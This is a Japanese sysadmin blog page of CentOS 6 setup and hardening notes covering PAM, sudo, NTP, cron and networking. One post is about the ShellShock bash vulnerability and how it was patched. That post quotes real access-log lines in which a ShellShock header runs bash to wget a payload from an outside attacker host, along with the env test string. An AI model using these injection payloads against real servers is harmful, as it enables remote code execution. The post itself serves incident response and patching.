ラベル Tec の投稿を表示しています。 すべての投稿を表示
ラベル Tec の投稿を表示しています。 すべての投稿を表示

2017/08/29

2017/08/17

2017/08/10

2017/08/04

firewalld を使う!

CentOS/Redaht 7系から標準のOSファイヤーウォールがfirewalldになっています。
iptablesも今までどおり使えるけど、カスタマイズあされて色々セキュアになっている。。。らいし。
ベースはiptablesなのですが使い方が全く変わっている。
使ってみて、色々わかったのでメモ書き

2017/07/27

ちょっとサイトを立ち上げるまで



ブログとwikiを組み合わせたようなmarkdownで作れてカスタマイズ性が高くて
DBとかメンテナンス要素が少ないサイトを作ってみたかった。
まずAWSの勉強もかねてサーバから立ててみることにする。
サイトを立ち上げるために必要な情報をあつめる。
最初にいうと結果は上手くスタートすることができませんでした。
これからサーバを1から立てようなんて考えている人はまず肝に銘じて欲しいです。

2016/01/07

Linux サーバを作る その後

ナレッジサービス


ブログに記事形式で自分のナレッジを書いていくのもいいですが、
情報の更新がブログ形式ゆえに少し抵抗が出ます。

かといってWiki形式で大々的に、きちんとやるとなると更新しづらくなる。

Qiitaとか情報集積系サービスを利用するにしても、
仕事不でも使えるように自由度とクラウド感を利用できつつ、Githubで更新履歴管理もしたい。

ということで最近Gitbookというサービスを利用してみています。

GitBook

今はまだ色々いいツールないかなと検討している段階ですが、
今まで記述していたOS初期設定を手順書っぽく公開してみました。

CentOS6 セットアップガイド

Index

  1. はじめに
  2. OSのインストール
  3. インストール言語の選択
  4. 入力キーボードタイプの選択
  5. インストールストレージタイプの選択
  6. ホスト名の設定
  7. ネットワークの設定
  8. タイムゾーンの設定
  9. ROOTユーザーパスワードの設定
  10. インストールパーティションの設定
  11. パーティションレイアウトの設定
  12. ブートローダの選択
  13. インストールの開始
  14. 再起動/インストール完了
  15. OS基本設定
  16. ネットワーク設定
  17. NICの設定
  18. ホスト名の設定
  19. 参照DNSの設定
  20. APIPAの無効化
  21. IPv6アドレスの無効化
  22. SELinuxの無効化
  23. デフォルトランレベル
  24. インストール言語
  25. システム時刻
  26. cron設定
  27. ログローテート
  28. カーネルパニック対応
  29. アカウント管理
  30. ユーザーデフォルトの設定
  31. パスワードポリシー
  32. セキュリティ設定
  33. SUDO設定
  34. SU設定
  35. 不要なサービスの停止
  36. SYN FLOOD攻撃対策
  37. Smurf攻撃対策
  38. ブリッジ接続対策
  39. iptables
  40. SSHサーバ設定
  41. 基本設定
  42. セキュリティ設定
  43. パスワード認証設定
  44. 鍵認証設定
  45. SFTP設定
  46. chroot設定
  47. NTP設定
  48. NTPサーバの設定
  49. NTPクライアントの設定
  50. slewモード設定
  51. ntpdate設定
  52. セキュリティパッチの適用
  53. アップデートの適応
  54. 自動アップデート設定
  55. アップデート制限
  56. システム監査



Gitが、おもしろいほどわかる基本の使い方33〈バージョン管理、SourceTree、Bitbucket〉
大串 肇 久保靖資 豊沢泰尚
エムディエヌコーポレーション
売り上げランキング: 4,325

2015/03/14

起動サービスのロケーション設定の驚き


今までは問題なかったが、
OSを再起動してみらアプリの動作がおかしくなった!

どうやら原因はTomcatの環境変数に設定されているロケール情報が起動前と違っていることが原因。

なぜ~・・・

もちろんOSのロケール情報は日本語環境にしてあります。

# cat /etc/sysconfig/i18n
LANG="ja_JP.UTF-8"

# locale
LANG=ja_JP.UTF-8
LC_CTYPE="ja_JP.UTF-8"
LC_NUMERIC="ja_JP.UTF-8"
LC_TIME="ja_JP.UTF-8"
LC_COLLATE="ja_JP.UTF-8"
LC_MONETARY="ja_JP.UTF-8"
LC_MESSAGES="ja_JP.UTF-8"
LC_PAPER="ja_JP.UTF-8"
LC_NAME="ja_JP.UTF-8"
LC_ADDRESS="ja_JP.UTF-8"
LC_TELEPHONE="ja_JP.UTF-8"
LC_MEASUREMENT="ja_JP.UTF-8"
LC_IDENTIFICATION="ja_JP.UTF-8"
LC_ALL=

再起動してももちろん変更はされていませんね。
そういえば、プロセスの変数情報を確認できなたと思い確認してみると。

# cat /proc/{PID}/environ
TERM=linuxPATH=/sbin:/usr/sbin:/bin:/usr/binRUNLEVEL=3runlevel=3PWD=/LANGSH_SOURCED=1LANG=en_US.UTF-8PREVLEVEL=Nprevious=NCONSOLETYPE=vtSHLVL=2UPSTART_INSTANCE=UPSTART_EVENTS=runlevelUPSTART_JOB=rc_=/opt/app/tomcat6-ffc/bin/jsvcLD_LIBRARY_PATH=/opt/app/jre/lib/amd64/server:/opt/app/jre/lib/amd64

おやまぁ本当にLANGの値は"en_US.UTF-8"になっている。

いったいどこでこの値は設定されるのだろう?
Shellが起動された時、いろいろprofileやbashrcとかが呼び出されて環境を整えるのでそのあたりか。

# vim /etc/profile.d/lang.sh
~省略
    if [ -n "$LANG" ]; then
      case $LANG in
        *.utf8*|*.UTF-8*)
        if [ "$TERM" = "linux" ]; then
            if [ "$consoletype" = "vt" ]; then
                case $LANG in
                        ja*) LANG=en_US.UTF-8 ;;
                        ko*) LANG=en_US.UTF-8 ;;
                        si*) LANG=en_US.UTF-8 ;;
                        zh*) LANG=en_US.UTF-8 ;;
                        ar*) LANG=en_US.UTF-8 ;;
                        fa*) LANG=en_US.UTF-8 ;;
                        he*) LANG=en_US.UTF-8 ;;
                        en_IN*) ;;
                        *_IN*) LANG=en_US.UTF-8 ;;
                esac
            fi
        fi
profileの中を確認してみると、なにやらコンソールタイプ変数値によて設定するロケールの値を変えている
コンソールタイプ?

確かに再起動後のプロセス情報は"CONSOLETYPE=vt"となっている。

ここか・・・!

確かにSSH等のコンソールからサービスの再起動を行うと、
コンソールタイプは"CONSOLETYPE=pty"となり、日本語ロケールにもなり、コンソール関係の変数も読み込まれている。
細かいところまでは見ていないけれど、コンソールタイプでLANG関係の読み込みも分けている。

f [ -n "$LANG" ]; then
    saved_lang="$LANG"
    [ -f "$HOME/.i18n" ] && . "$HOME/.i18n" && sourced=1
    LANG="$saved_lang"
    unset saved_lang
else
    for langfile in /etc/sysconfig/i18n "$HOME/.i18n" ; do
        [ -f $langfile ] && . $langfile && sourced=1
    done
fi

今回問題になったTomcatはバイナリでサイトから落として利用している。
RPMでインストールするサービスはどうなのか知らないですが、
少なくともコンソールタイプで読み込まれる変数が変わるというのは初耳だった。

今回は起動スクリプトに明示的に"LANG=ja_JP.UTF-8"として問題を回避したが、
(そもそも)環境依存で作りアプリケーションに問題があるかどうかは置いといて。)
どうりでOS再起動時のログファイルは英語になっているわけだよ・・・。

OS依存によるアプリケーションやシステムの構築には気を付けよう!

そして必ずOS再起動でもシステムは問題なく動く事を確認しよう。


詳解 Tomcat
詳解 Tomcat
posted with amazlet at 15.03.14
藤野 圭一
オライリージャパン
売り上げランキング: 19,989

2015/01/30

Linuxサーバを作る ④

アカウントセキュリティ

動けばいいじゃんと軽視されがちですが、私は大事だと考えています。

パスワードポリシー

ユーザーパスワードは8文字以上、大小文字・数字・記号も必須にしましょう。
またログインの際に一定回数パスワード認証に失敗したらロックするようにもします。
 # vim /etc/login.defs
 #PASS_MIN_LEN   5
 PASS_MIN_LEN    8
 # vim /etc/pam.d/system-auth-ac
 auth        required      pam_env.so
 auth        required      pam_tally2.so pam_tally2.so onerr=fail deny=10 unlock_time=120
 auth        sufficient    pam_unix.so nullok try_first_pass
 auth        requisite     pam_succeed_if.so uid >= 500 quiet
 auth        required      pam_deny.so

 account     required      pam_unix.so
 account     required      pam_tally2.so
 account     sufficient    pam_localuser.so
 account     sufficient    pam_succeed_if.so uid < 500 quiet
 account     required      pam_permit.so

 #password    requisite     pam_cracklib.so try_first_pass retry=3 type=
 password    requisite     pam_cracklib.so try_first_pass retry=10 minlen=8 dcredit=-1 ucredit=-1 lcredit=-1
 #password    sufficient    pam_unix.so sha512 shadow nullok try_first_pass use_authtok
 password    sufficient   pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=1
 password    required      pam_deny.so
 # vim /etc/pam.d/password-auth-ac
 auth        required      pam_env.so
 auth        required      pam_tally2.so pam_tally2.so onerr=fail deny=10 unlock_time=120
 auth        sufficient    pam_unix.so nullok try_first_pass
 auth        requisite     pam_succeed_if.so uid >= 500 quiet
 auth        required      pam_deny.so

 account     required      pam_unix.so
 account     required      pam_tally2.so
 account     sufficient    pam_localuser.so
 account     sufficient    pam_succeed_if.so uid < 500 quiet
 account     required      pam_permit.so

 #password    requisite     pam_cracklib.so try_first_pass retry=3 type=
 password    requisite     pam_cracklib.so try_first_pass retry=10 minlen=8 dcredit=-1 ucredit=-1 lcredit=-1
 #password    sufficient    pam_unix.so sha512 shadow nullok try_first_pass use_authtok
 password    sufficient   pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=1
 password    required      pam_deny.so
設定に失敗すると上手くログインできなくなってしまうので注意して設定・確認しましょう。
※参考
値 説明
retry=N N回まで失敗が許されます。
type=XXX プロンプトに使われる文字列。
difok=N 現在のパスワードと N文字以上異なれば許可。
minlen=N パスワードが N文字以上だと許可。
dcredit=-N 数字が N文字以上含まれていれば許可。
ucredit=-N 大文字が N文字以上含まれていれば許可。
lcredit=-N 小文字が N文字以上含まれていれば許可。
ocredit=-N その他の文字が N文字以上含まれていれば許可。

権限昇格制限

複数人、複数拠点で運用するサーバであればきちんと設計・制限しておきましょう。

sudo権限

下記記事を参考にして頂ければと。
sudo関連のあれこれ

su権限

suコマンドを利用できるユーザーをwheelグループ所属ユーザーのみとする。
下記ファイルのコメントアウトを解除します。
 # vim /etc/pam.d/su
 auth            required        pam_wheel.so use_uid
 # vim /etc/login.defs
 SU_WHEEL_ONLY yes

不要サービスの停止

サーバ目的で利用するのであれば余計なリソースやポートが空かないよう。
不要なサービスを停止しておきましょう。
 # chkconfig --list

カーネルパラメータの調整

最低限の設定を。

Smurf攻撃対策

 # vim /etc/sysctl.conf
 net.ipv4.icmp_echo_ignore_broadcasts = 1
kernelパニック発生時にOSを再起動するようにする。
 # vim /etc/sysctl.conf
 kernel.panic = 10
設定を反映
 # sysctl -p
この時、追記した項目以外で下記のようなエラーが出力されます。
error: "net.bridge.bridge-nf-call-ip6tables" is an unknown key
error: "net.bridge.bridge-nf-call-iptables" is an unknown key
error: "net.bridge.bridge-nf-call-arptables" is an unknown key
こちらはネットワークブリッジを利用する目的以外でブリッジモジュールがインストールされていた場合、デフォルトで有効化されてしまうことを防ぐためにあえて記載してあるらしいです。
なのでそのままでもよいのですが、エラーが出ているという事はブリッジモジュールをインストールしていないという事なので、
エラーが気になる方はコメントアウトしてもいいかもしれません。

ACL

Linux標準のACLと言えばiptablesがあります。
AWSなんかではインスタンス単位でACLを設定できるためあまりメリットはないですが
GW/FWで制御するような環境であれば設定しておりて損はないと思いますので設定しましょう。
私は設定スクリプトを作成し、デーモン利用ではなく利用します。
サーバ再起動時なんかには自動でスクリプトを実行するようにしておくとよりいいですね。

セキュリティアップデート

サーバとして利用を開始する前には一度フルアップデートを実施したほうがよいでしょう。
構築作業中やインストールに利用したテンプレート・メディアによっては脆弱性に対するパッチが当たっていない場合があります。
 # yum update
※kernelのアップデートについては利用基盤やハード環境を考慮して行ってください。
 場合によってはサポートを受けられなくなる可能性があります。
サービスインしてしまうとなかなかアップデートを気軽に行えなくなってしまうのが面倒ですね。

sysstatの設定

今や標準でインストールされているsysstat。
そのままでも問題ありませんが、運用に合わせて設定を変更します。
初期設定だと28日分のシステムログを保持するようになっています。
もっと保持しておきたい場合。
 # vim /etc/sysconfig/sysstat
 HISTORY=365
 # vim /usr/lib64/sa/sa1
 HISTORY=365
 # vim /usr/lib64/sa/sa2
 HISTORY=365
またデフォルトでは10分おきにシステムログを取得します。それを5分毎に変更します。
 # vim /etc/cron.d/sysstat
 # Run system activity accounting tool every 10 minutes
 #*/10 * * * * root /usr/lib64/sa/sa1 1 1
 */5 * * * * root /usr/lib64/sa/sa1 1 1
 # 0 * * * * root /usr/lib64/sa/sa1 600 6 &
 # Generate a daily summary of process accounting at 23:53
 #53 23 * * * root /usr/lib64/sa/sa2 -A
 58 23 * * * root /usr/lib64/sa/sa2 -A 

時刻同期設定

同期サーバの設定

インターネット上でシステム時刻を同期・調整するようにします。
最近のOSではPTP時刻同期に対応してきていますが、こちらはNTPで設定します。
今回は外部のNTPサーバを参照しするクライアントとして設定します。
どのサーバを参照するか。ある程度信頼性が求められるので怪しげなサーバは参照しないようにしましょう。
私はよく下記サービスを参照します。
インターネットマルチフィード 公開NTPサービス
 # vim /etc/ntp.conf
 server ntp1.jst.mfeed.ad.jp iburst
 server ntp2.jst.mfeed.ad.jp iburst
 server ntp3.jst.mfeed.ad.jp iburst
iburstを指定することで、初期時刻同期の収束時間が短くなるそうです。

ipv6の無効化

 # vim /etc/ntp.conf
 #restrict -6 ::1

脆弱性・DDOS対策

NTPのDDOS対策
 # vim /etc/ntp.conf
 disable monitor

slewモード設定

時刻同期方法をでデフォルトでslewモードにする
 # vim /etc/sysconfig/ntpd
 OPTIONS="-u ntp:ntp -p /var/run/ntpd.pid -g -x"

NTP起動

ntpdを起動し同期を開始しましょう。
 # chkconfig ntpd on
 # service ntpd start

ntpdateの設定

サーバ再起動時にはハードウェア時刻を参照し、起動します。
運用にてシステム時刻とハード時刻の同期を行っていれば大きな誤差なく起動しますが、
ハード時刻がずれていた場合に時刻誤差が大きく起動してこないよう
OS起動時にntpdateを実行するように設定しておきます。
 # vim /etc/ntp/step-tickers
 # List of servers used for initial synchronization.
 ntp1.jst.mfeed.ad.jp
 ntp2.jst.mfeed.ad.jp
 ntp3.jst.mfeed.ad.jp

起動設定

 # chkconfig ntpdate on
長かったなー。
以上で商用?サーバを構築しよう!の初期設定が完了です。
個人利用であったり、そこまで求められないよっていう設定もあるとおもいます。
知らなかったことがあり、だれかの助けになっていれば幸いです。

他ミドルウェアのついてもボチボチ書いていきたいとおもっています。


Linuxシステム[実践]入門 Software Design plus
技術評論社 (2013-08-20)
売り上げランキング: 4,627

Linuxサーバを作る ③

OS初期設定

ランレベルの設定

サーバ目的なのでデフォルトランレベルは3にしておきましょう。
Redhat ランレベルとは
ランレベルにより起動・利用されるサービスが違うため、余計なリソースを使わないようにするためです。
 # vim /etc/inittab
 id:3:initdefault:
反映させるときは再起動が必要ですが、少し後回し。

インストールOS言語

インストール時に言語設定があったと思いますが実際の設定は下記ファイルとlocaleコマンドで確認できます。
 # cat /etc/sysconfig/i18n
 LANG="ja_JP.UTF-8"
 # locale
 LANG=ja_JP.UTF-8
 LC_CTYPE="ja_JP.UTF-8"
 LC_NUMERIC="ja_JP.UTF-8"
 LC_TIME="ja_JP.UTF-8"
 LC_COLLATE="ja_JP.UTF-8"
 LC_MONETARY="ja_JP.UTF-8"
 LC_MESSAGES="ja_JP.UTF-8"
 LC_PAPER="ja_JP.UTF-8"
 LC_NAME="ja_JP.UTF-8"
 LC_ADDRESS="ja_JP.UTF-8"
 LC_TELEPHONE="ja_JP.UTF-8"
 LC_MEASUREMENT="ja_JP.UTF-8"
 LC_IDENTIFICATION="ja_JP.UTF-8"
 LC_ALL=
最近だとクラウド側が準備しているテンプレートやコンテナを利用するケースが多いですが、その場合localeがENとかになっているケースが多いと思います。
きちんと利用環境、利用サービスに合わせておきましょう。

ロケールの日本語化

日本語パッケージが無ければインストールしておきます
 # yum groupinstall "Japanese Support"
日本語ロケールを追加し
 # localedef -f UTF-8 -i ja_JP ja_JP.utf8
定義ファイルを変更し
 # vim /etc/sysconfig/i18n
 LANG="ja_JP.UTF-8"
再起動して反映させます
 # reboot

システム時刻の設定

こちらも利用環境に即しているか確認して設定します。
タイムゾーンの確認
 # cat /etc/localtime
 ~省略
 JST-9
タイムゾーンを日本時間に修正する場合
 # cp -p /usr/share/zoneinfo/Asia/Tokyo /etc/localtime
こちらも一応日本時間に
 # cat /etc/sysconfig/clock
 ZONE="Asia/Tokyo"
時刻はUTCを利用しているか
 # cat /etc/adjtime
 0.000000 1410678273 0.000000
 1410678273
 UTC
時計のUTC?GMT?local?ってひとは下記サイトを読むと参考になるかも
Linuxはどのように時間を計っているか
これらの設定を変更した場合、反映させるためには再起動させましょう。

Cron設定

linux標準のジョブ管理ツールです。
6系からクラウド利用を考慮され今までと少し基本設定が変わっています。
日次、週次、月次の処理をanacronが、その他のジョブをcronineがという風になっています。
今まで通り任意のジョブ等はcronファイルに記述すれば今まで通り動くので問題ないので特に変更は不要ですが、
問題はanacronで実行されるジョブは指定日に指定の時間内でランダムに実行される点です。
デフォルトの日次ジョブにシステム関連ログのローテートジョブがありますが、
複数サーバを管理する場合サーバごとにローテート時刻がずれるといったログ管理上あまりよくない事態が発生してしまいます。
今まで通り指定日時に実行してほしい!という方はanacron、cron設定を変更します。
下記手順はanacronを無効化するものではなく、あくまで以前のようにanacronをジョブの再実行用に利用し、cron主体で動くようにする設定です。

定期実行ジョブをcronで管理

anacronで実行されている日次、週次、月次の処理を今まで通りcron実行にします。
各ディレクトリ配下のジョブを実行するよう追記。
 # vim /etc/crontab
 05 0 * * * root run-parts /etc/cron.daily
 25 0 * * 0 root run-parts /etc/cron.weekly
 45 0 1 * * root run-parts /etc/cron.monthly
anacronで不実行ジョブが再実行されるタイミングを指定。
 # vim /etc/anacrontab
 #START_HOURS_RANGE=3-22
 START_HOURS_RANGE=5-6   
日次、週次、月次の処理がcronで実行され、再実行不要であることをanacronに伝えるジョブを各ディレクトリに配置していきます。
 # /etc/cron.daily/0anacron
 #!/bin/bash
 if [ ! -e /var/run/anacron.pid ]; then
   anacron -u cron.daily
 fi
 # /etc/cron.weekly/0anacron
 #!/bin/bash
 if [ ! -e /var/run/anacron.pid ]; then
   anacron -u cron.weekly
 fi
 # /etc/cron.monthly/0anacron
 #!/bin/bash
 if [ ! -e /var/run/anacron.pid ]; then
   anacron -u cron.monthly
 fi
配置したジョブにはそれぞれ実行権限を与えておきます。

ログローテート設定

ここは利用する環境・要件に合わせて変更しましょう。
デフォルトだと4週間分logrotateで管理するログを保持します。
 # vim /etc/logrotate.conf
 # 週単位でログをローテート
 weekly

 # ローテートしたログを4世代分保持
 rotate 4

 # ローテート後新しいログファイルを自動で作成
 create

 # ローテート後ファイルのフォーマットを"ファイル名-yyyymmdd"へ
 dateext

 # ローテートしたログは圧縮しない(コメントアウト) 
 #compress
次に続く


Linuxシステム[実践]入門 Software Design plus
技術評論社 (2013-08-20)
売り上げランキング: 4,627

2014/10/19

ShellShock bashコマンドインジェクション

これは凄い!

GNU Bash に OS コマンドインジェクションの脆弱性

bash の脆弱性対策について(CVE-2014-6271 等)


GNU Bash には、環境変数にシェル関数定義を設定して他のシェルプロセスに渡す機能と、環境変数で設定されたシェル関数定義を取り込む機能が存在します。関数定義に続きシェルコマンドが記述されている形で環境変数が設定されているとき、GNU Bash は関数定義を取り込む際にそのシェルコマンドを実行してしまいます


たぶんある程度しっかり作られたアプリケーションのサイトや、
最新のパッケージを使っている環境ではあまりこの影響の脆弱性をうけるサイトは少ないのかなという印象です。

私が管理しているサイトでは脆弱性の再現は1サイトしかありませんでした。

テストは簡単に、ChromeやFireFoxのユーザーエージェントを指定できるプラグインで、
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
のような値を設定してサイトを回遊ました。

ちなみに、実際に攻撃が成功してしまった環境はちょっと古いOS 5系の環境。
  • Cent OS 5
  • Apache 2.2 標準RPM
  • PHP 5.3 ソースインストール
実際にきていた攻撃は下記のようなアクセス。
62.210.75.170 - - [30/Sep/2014:07:42:45 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1281928
62.210.75.170 - - [30/Sep/2014:07:42:52 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1232626
62.210.75.170 - - [30/Sep/2014:07:42:59 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1227358
62.210.75.170 - - [30/Sep/2014:07:43:01 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1247845
実際に攻撃が成功すると、下記のようなメッセージがsyslogに出力されました。

Sep 30 07:42:23 GSA040014009 kernel: sh[26924]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff1f9b5610 error 4
Sep 30 07:42:23 GSA040014009 kernel: sh[26926]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff3edfcdb0 error 4
Sep 30 07:42:26 GSA040014009 kernel: sh[26928]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff3f09fb50 error 4
Sep 30 07:42:26 GSA040014009 kernel: sh[26930]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff22324de0 error 4
Sep 30 07:42:27 GSA040014009 kernel: sh[26932]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff880e3000 error 4
メモリのセグメンテーションエラーね。
そしてApacheのエラーログには親切に下記ログも
/bin/sh: wget: No such file or directory
/bin/sh: wget: No such file or directory
/bin/sh: wget: No such file or directory
--2014-09-30 07:42:38--  http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA==
Resolving creditstat.ru... 78.46.37.177
Connecting to creditstat.ru|78.46.37.177|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2014-09-30 07:42:38 ERROR 404: Not Found.
見事動作させられてますね、ありがとうございます。
他にはmailコマンドを実行させられたり、「/tmp」領域にファイルを配置されたり。
今回はユーザーエージェントにコードをセットされていたから分かりやすかったですが、
Cookieや他にログに残らないようなアクセスだと、なかなか検知は難しかったかもしれないですね。

実際どこに実行箇所があったかというと、HTML内に記述していた
<!--#exec cgi="~" -->
上記部分でした。
Apacheで"IncludeNOEXEC"していれば防げていたかもしれませんが・・・

対応策はBashのアップデートを上げるしか基本的には無いので、もちろんアップデート。
アップデートした場合、OSの再起動が必要なのか、いらいないとか。
ここはRedhatの情報に従って確認していきましょう。

特殊な細工がされた環境変数による Bash コードインジェクションの脆弱性 (CVE-2014-6271、CVE-2014-7169)

Bash変数を設定して起動しているサービスが無いか確認。


エクスポートされた Bash 機能を使用している場合は、影響を受けるサービスを再起動することが推奨されます。影響を受けるインタラクティブなユーザーが再ログインしたり、画面または tmux セッションを再起動したりする必要があるかもしれません。
これらの問題を修正するために提供された Bash アップデートは、この環境でエクスポートされた関数の名前を変更します。古いバージョンの Bash が関数をエクスポートしている場合、その関数はアップデート後に新しく起動した Bash プロセスでは認識されないため、定義されていない状態になります。サービスを再起動すると、新しいバージョンの Bashは、期待した名前で関数をエクスポートするため、再度表示されます。


# grep -l -z '[^)]=() {' /proc/[1-9]*/environ | cut -d/ -f3

とはいえ、変数が空になって後で上手く動いていないことが分かるのはやなので、
私の場合は再起動しました。

アップデート後はそれぞれの脆弱性が修正されている事を確認。
CVE-2014-6271

# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
bash: error importing function definition for `BASH_FUNC_x()'
test
RHSA-2014:1306、RHSA-2014:1311 および RHSA-2014:1312
# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `BASH_FUNC_x'
test
CVE-2014-7169
# cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo
date
cat:/tmp/echo:No such file or directory
以上で対応自体は完了。アップデートするだけの簡単な作業ですね。

今回の脆弱性はサイト上に問題が無くても、対象であればアップデートしたほうがいいでしょう。
今回の対応で面倒だったのは「もしも」の場合に備えて今のバージョンと同じパッケージを探しておくことでした。
OS6系ならまだまだ大丈夫ですが、5系はもう古いのはないですからね。
当時のメディアがあってよかった。

入門bash 第3版
入門bash 第3版
posted with amazlet at 14.10.18
Cameron Newham Bill Rosenblatt
オライリージャパン
売り上げランキング: 369,620

2014/09/14

sudo関連のあれこれ


enter image description here

この前までredhat/CentOs 6系が出たばっかりだと思っていたら、
もう7系が出て新しい仕組で騒がれていますね。
でもまだまだ安定版として、サービスで利用できるようになるのは来年かなという気がしますので、
引き続き6系のナレッジをメモリましょう。
今回はsudoです。言わずと知れず、やりたいことは大体できるといわれているsudoらしいですが、
私は少しデフォルトから手を加える事が多いです。

sudoのパスワードキャッシュを制限

sudoはデフォルトでパスワードの認証情報を5分間保持しますので、それを無効化。
# visudo
Defaults timestamp_timeout = 0

認証リトライ回数を制限

sudoのデフォルト認証リトライ回数は3回、3回でいいとは思いますが、変更する場合は下記。
# visudo
Defaults passwd_tries = 3

ログ出力先の変更

redhat/CentOSではデフォルトでsecureログに出力されますが、ガッツリsudoを利用して、
内容をしっかりログに出したいときは、下記のように設定。
# visudo
Defaults !syslog, logfile = /var/log/sudo.log, log_year
sudoを行うと、下記のようなログが指定のログに出力されます。
# view /var/log/sudo.log
Aug 15 12:43:19 2014 : hogehoge : コマンドが許可されていません ;
TTY=pts/2 ; PWD=/var/www ; USER=root ;
COMMAND=/bin/rm -rf html/
Aug 22 21:23:13 2014 : root : TTY=pts/2 ;
PWD=/var/www ; USER=apache ;
COMMAND=/bin/uname

sudo設定ファイルの外部ファイル化

sudoの設定を外部読み込みファイルのように利用したい場合。
ユーザー個別の設定なんかはこちらに書き出します。
まず外部ファイルが有効かされている事を確認。
# visudo  
#includedir /etc/sudoers.d
外部ファイルの作成。
# visudo -f /etc/sudoers.d/hogehoge
ファイルを作成する際に、構文チェックももちろん、パーミッションチェックも行ってくれます。

コマンド制限

当然sudo権限を与えるのだから、コマンドを制限したいですが、コマンドのオプションまで制限したいですよね。
デフォルトでコマンドを記述しただけではすべてのオプションが許可するようですが、
オプションまで記述することで、コマンドの構文レベルで制限することも可能です。
# visudo -f /etc/sudoers.d/hogehoge
hogehoge ALL = (root) PASSWD: /bin/su - homehome, /bin/su homehome
スイッチできるユーザーを制限したい場合なんかに便利かもしれません。
正規表現も使えます。



sudoやsudoersのmanページを見てると、もっと色々細かいことが制御可能です。
ただ、懲りすぎて何とも使いにくいシステムにならないよう程々がいいと思います。


Linuxシステム[実践]入門 (Software Design plus)
沓名 亮典
技術評論社
売り上げランキング: 51,386

Linuxサーバを作る ②


前回、OSのインストールが終わり、いよいよ設定です。
まず作業がしやすいように接続環境を整えましょう。

ネットワークの設定


6系からネットワーク周りの設定はNetworkManagerでの管理が推奨されています。
でもGUIでゴニョゴニョしたりしなければいけなかったり、まだまだサーバとしてはどうなの?
という所があります。

ここではべたに設定ファイルを直接編集して設定を行っていきます。

NICの設定


環境によりますが、ここはサーバ目的なので固定IPを設定していきます。
まだここではターミナル接続です。

minimalでインストールすればNetworkManagerはインストールされませんが、
標準でインストールした場合、インストールされている場合があるので、まず停止します。
# service NetworkManager stop
そして、今後ももちろんファイル編集でネットワーク設定を行うため、万が一ファイルがNetworkManagerで管理されないよう、
NIC側でも無効化しておきます。
# vi /etc/sysconfig/network-scripts/ifcfcg-eth0
NM_CONTROLLED=no
インストール時にネットワーク設定を行った場合は設定されていますが、
スキップした場合、インターフェースはデフォルトで無効化されてるため有効化します。
# vi /etc/sysconfig/network-scripts/ifcfcg-eth0
ONBOOT=yes
サーバのIP情報を固定で設定。
# vi /etc/sysconfig/network-scripts/ifcfcg-eth0
BOOTPROTO=none
IPADDR=192.168.154.11
PREFIX=24
少し前ではサブネットマスクで記述していましたが、最近はPREFIXでの記述が推奨されています。
また、デフォルトゲートウェイで利用するNICには下記設定を追記。
# vi /etc/sysconfig/network-scripts/ifcfcg-eth0
DEFOROUTE=yes
またNICのハードウェアアドレスやUUIDの記述がありますが、実際にはこのファイルでは管理されておらず、
仮想環境を利用している場合、邪魔になることもあるのでコメントアウトしておきましょう。
# vi /etc/sysconfig/network-scripts/ifcfcg-eth0
#HWADDR=*************************
#UUID=************************
設定を反映。
# service network restart
インターフェース eth0 を終了中:                            [  OK  ]
ループバックインターフェースを終了中                       [  OK  ]
ループバックインターフェイスを呼び込み中                   [  OK  ]
インターフェース eth0 を活性化中:
eth0 のIP情報を検出中... 完了。
                                                           [  OK  ]
設定値の確認。
# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:BE:42:5C
          inet addr:192.168.247.128  Bcast:192.168.247.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:febe:425c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:294 errors:0 dropped:0 overruns:0 frame:0
          TX packets:67 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:48336 (47.2 KiB)  TX bytes:10963 (10.7 KiB)
lo        Link encap:Local Loopback
